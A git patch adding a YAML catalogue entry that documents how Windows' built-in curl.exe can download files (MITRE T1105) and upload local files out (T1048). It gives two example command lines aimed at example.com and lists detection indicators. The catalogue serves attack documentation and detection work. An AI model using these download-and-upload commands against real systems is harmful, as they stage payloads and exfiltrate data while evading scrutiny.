From d551547e52d938c22f0dd6086941cdb16b3dc7e1 Mon Sep 17 00:00:00 2001
From: Defa Mulya Pratama <80369523+defamp@users.noreply.github.com>
Date: Thu, 8 Oct 2026 13:00:53 +0700
Subject: [PATCH] Add Curl.exe (Download/Upload)

---
 yml/OSBinaries/Curl.yml | 31 +++++++++++++++++++++++++++++++
 1 file changed, 31 insertions(+)
 create mode 100644 yml/OSBinaries/Curl.yml

diff --git a/yml/OSBinaries/Curl.yml b/yml/OSBinaries/Curl.yml
new file mode 100644
index 00000000..69b8e43f
--- /dev/null
+++ b/yml/OSBinaries/Curl.yml
@@ -0,0 +1,31 @@
+---
+Name: Curl.exe
+Description: Command-line tool for transferring data with URLs, bundled with Windows since Windows 10 version 1803.
+Author: Defa Mulya Pratama
+Created: 2026-10-08
+Commands:
+  - Command: curl https://example.com/file.exe -o C:\Users\Public\file.exe
+    Description: Retrieves a file from a remote URL and writes it to the local disk.
+    Usecase: Transfer a file from a remote host to the local system using a signed built-in utility.
+    Category: Download
+    Privileges: User
+    MitreID: T1105
+    OperatingSystem: Windows 10 1803, Windows 10, Windows 11
+  - Command: curl -T C:\Users\Public\data.bin https://example.com/upload
+    Description: Sends a local file to a remote URL using an HTTP upload.
+    Usecase: Transfer a local file to a remote host using a signed built-in utility.
+    Category: Upload
+    Privileges: User
+    MitreID: T1048
+    OperatingSystem: Windows 10 1803, Windows 10, Windows 11
+Full_Path:
+  - Path: C:\Windows\System32\curl.exe
+  - Path: C:\Windows\SysWOW64\curl.exe
+Detection:
+  - IOC: curl.exe establishing outbound connections to untrusted or uncommon hosts
+  - IOC: curl.exe writing files into user-writable directories via the -o or -O option
+Resources:
+  - Link: https://curl.se/docs/manpage.html
+Acknowledgement:
+  - Person: Defa Mulya Pratama
+    Handle: '@defamp'